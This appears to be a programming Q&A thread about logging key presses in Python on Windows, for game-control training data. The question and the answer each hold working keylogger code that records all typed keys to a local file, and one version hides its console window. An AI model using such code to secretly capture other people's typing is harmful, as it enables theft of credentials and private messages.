Jiadong Chen
Jiadong Chen

Reputation: 115

Keylogging using python on windows

My attempt is as below, it captures well when i'm typing, but sucks if multiple key pressed. It only capture the first pressed key.

I removed all unrelated to keylogging.

import win32console
import win32gui
import pythoncom, pyHook
import threading
import pickle

class keylogger(object):

    def init(self, ifPrintDetail = False):
        self.keylog_enable = False
        self.ifPrintDetail = ifPrintDetail
        self.log = ''    

    def KeyEvent(self, event):
        if self.keylog_enable:        
            self.log += event.Key
            if self.ifPrintDetail:
                print ('MessageName:',event.MessageName )
                print ('Message:',event.Message)
                print ('Time:',event.Time)
                print ('Window:',event.Window)
                print ('WindowName:',event.WindowName)
                print ('Ascii:', event.Ascii, chr(event.Ascii) )
                print ('Key:', event.Key)
                print ('KeyID:', event.KeyID)
                print ('ScanCode:', event.ScanCode)
                print ('Extended:', event.Extended)
                print ('Injected:', event.Injected)
                print ('Alt', event.Alt)
                print ('Transition', event.Transition)
                print ('---')
            elif event.MessageName == 'key down':
                print(event.Key, end='')

    def threadkeylog(self):
        win = win32console.GetConsoleWindow()
        win32gui.ShowWindow(win, 0)
        # create a hook manager object for both key up and down
        self.hm=pyHook.HookManager()
        #i want both up and down key event
        self.hm.KeyDown = self.KeyEvent
        self.hm.KeyUp = self.KeyEvent
        # set the hook
        self.hm.HookKeyboard()
        #start sending messages, this seems not to stop except WM_QUIT
        pythoncom.PumpMessages()

    def go(self):
        #build and start a thread
        self.keylog_enable = True
        self.threadkl = threading.Thread(target = self.threadkeylog)
        self.threadkl.start()

    def pause(self):
        self.keylog_enable = False

    def save(self):
        pickle.dump(self.log, open('keylog.txt', 'wb'))

You may use it with

kl = keylogger()
kl.init()
kl.go()#build and run a thread
kl.pause()#"pause" the thread
kl.save()#will save what you have typed to a file in working directory
print(pickle.load(open('keylog.txt', "rb")))#take a look at it

I do this to collect key log of myself playing car racing game, for training data of my machine learning project. So, say, if I control my racing car with simple "WASD" buttons, I would probably hold "W" and "A" to turn left and accelerate. So, I would like to have both of them captured at the same time, but those keys conflicts, and it capture only one character.

Upvotes: 0

Views: 1739

Answers (1)

Savagery
Savagery

Reputation: 56

Using ctypes alone you can make quite an effective keylogger.

ctypes allows you to check if a key is currently pressed, or toggled.

If you set up a dictionary where all the keys are virtual keycodes and all of the values are the keycode's respective string character then you can iterate through the dictionary, and check if the key is pressed.

Having another dictionary called TrackedKeys which is empty, you can just set TrackedKeys[key] = The bool returned by the ctypes function which sees if a key is pressed when you are ticking in your "main loop" (A while true in the main python file).

then when you update the value of trackedkeys before doing so you can see if the value in trackedkey is different from the value returned by ctypes checking if a key is pressed, and if it is then call a function and pass either "key up" or "key down" to that function.

import threading, time
from ctypes import *

class Thread():
    def __init__(self, addressOf, args):
        self.terminate = False
        self.Instance = threading.Thread(target=addressOf, args=args)
        self.Instance.daemon = True
        self.Instance.start()

VKStr = {}
VKStr[0x01] = "LEFT_MOUSEE"
VKStr[0x02] = "RIGHT_MOUSE"
VKStr[0x03] = "MIDDLE_MOUSE"
VKStr[0x08] = "BACKSPACE"
VKStr[0x09] = "TAB"
VKStr[0x0D] = "ENTER"
VKStr[0x10] = "SHIFT"
VKStr[0x11] = "CTRL"
VKStr[0x12] = "ALT"
VKStr[0x14] = "CAPSLOCK"
VKStr[0x18] = "ESCAPE"
VKStr[0x20] = " "
VKStr[0x25] = "LEFT_ARROW"
VKStr[0x26] = "UP_ARROW"
VKStr[0x27] = "RIGHT_ARROW"
VKStr[0x28] = "DOWN_ARROW"
VKStr[0x2C] = "PRINT_SCREEN"
VKStr[0x30] = "0"
VKStr[0x31] = "1"
VKStr[0x32] = "2"
VKStr[0x33] = "3"
VKStr[0x34] = "4"
VKStr[0x35] = "5"
VKStr[0x36] = "6"
VKStr[0x37] = "7"
VKStr[0x38] = "8"
VKStr[0x39] = "9"
VKStr[0x41] = "a"
VKStr[0x42] = "b"
VKStr[0x43] = "c"
VKStr[0x44] = "d"
VKStr[0x45] = "e"
VKStr[0x46] = "f"
VKStr[0x47] = "g"
VKStr[0x48] = "h"
VKStr[0x49] = "i"
VKStr[0x4A] = "j"
VKStr[0x4B] = "k"
VKStr[0x4C] = "l"
VKStr[0x4D] = "m"
VKStr[0x4E] = "n"
VKStr[0x4F] = "o"
VKStr[0x50] = "p"
VKStr[0x51] = "q"
VKStr[0x52] = "r"
VKStr[0x53] = "s"
VKStr[0x54] = "t"
VKStr[0x55] = "u"
VKStr[0x56] = "v"
VKStr[0x57] = "w"
VKStr[0x58] = "x"
VKStr[0x59] = "y"
VKStr[0x5A] = "z"

ShiftEquivs={}
ShiftEquivs[0x30] = ")"
ShiftEquivs[0x31] = "!"
ShiftEquivs[0x32] = "\""
ShiftEquivs[0x33] = "£"
ShiftEquivs[0x34] = "$"
ShiftEquivs[0x35] = "%"
ShiftEquivs[0x36] = "^"
ShiftEquivs[0x37] = "&"
ShiftEquivs[0x38] = "*"
ShiftEquivs[0x39] = "("

ActiveKeys = {}

def StringToVK(string):
    for key, value in VKStr.items():
        if value == string:
            return key

def VKToString(VK):
    return VKStr[VK]

def IsKeyPressed(VK_KEYCODE):
    if type(VK_KEYCODE) == str:
        try:
            VK_KEYCODE = StringToVK(VK_KEYCODE)
        except:
            raise Exception("Exception caught in sub: 'IsKeyPressed' arg VK_KEYCODE is invalid")
            return

    return windll.user32.GetKeyState(c_int(VK_KEYCODE)) & 0x8000 != 0

def IsKeyToggled(VK_KEYCODE):
    return windll.user32.GetKeyState(c_int(VK_KEYCODE)) & 0x0001 != 0

class KeyTracker:
    def __init__(self):
        self.tracking = False
        self.tracked_string_concat = ""
        self.file_open = False

    def StartTracking(self):
        self.tracking = True

    def StopTracking(self):
        self.tracking = False
        self.CompileData()

    def KeyDown(self, key):
        if self.tracking and VKToString(key) != "SHIFT":
            if IsKeyToggled(StringToVK("CAPSLOCK")):
                self.tracked_string_concat = self.tracked_string_concat + VKToString(key).upper()
            elif IsKeyPressed(StringToVK("SHIFT")):
                shiftEquiv = False
                try:
                    ShiftEquivs[key]
                    shiftEquiv = True
                except:
                    pass

                if shiftEquiv:
                    self.tracked_string_concat = self.tracked_string_concat + ShiftEquivs[key]
                else:
                    self.tracked_string_concat = self.tracked_string_concat + VKToString(key).upper()
            else:
                self.tracked_string_concat = self.tracked_string_concat + VKToString(key)

    def KeyUp(self, key):
        if self.tracking and VKToString(key) == "SHIFT":
            #self.tracked_string_concat = self.tracked_string_concat + VKToString(key)
            pass

    def UpdateKeyState(self, key, state):  
        def SetKeyState(key, state):
            ActiveKeys[key] = state
            if state == True:
                self.KeyDown(key)
            elif state == False:
                self.KeyUp(key)

        keyExists = False
        try:
            ActiveKeys[key]
            keyExists = True
        except:
            pass

        if keyExists:
            if ActiveKeys[key] != state:
                SetKeyState(key, state)
        else:
            SetKeyState(key, state)

    def CompileData(self):
        try:
            file = open("logger_data.txt", "a")
            file.write("\n")
            file.write("-"*15)
            file.write("\n")
            file.write(self.tracked_string_concat)
            file.close()
        except:
            pass

    def TrackData(self, time_length): #timeLength in seconds
        KeyTracker.StartTracking()
        time.sleep(time_length)
        KeyTracker.StopTracking()

KeyTracker = KeyTracker()
t = Thread(KeyTracker.TrackData, [5])
while True:
    for key, key_name in VKStr.items():
        KeyTracker.UpdateKeyState(key, IsKeyPressed(key))

change the argument passed to the thread stored in the variable t to change how long your keylogger records data for, 5 is just a short testing value.

Upvotes: 2

Related Questions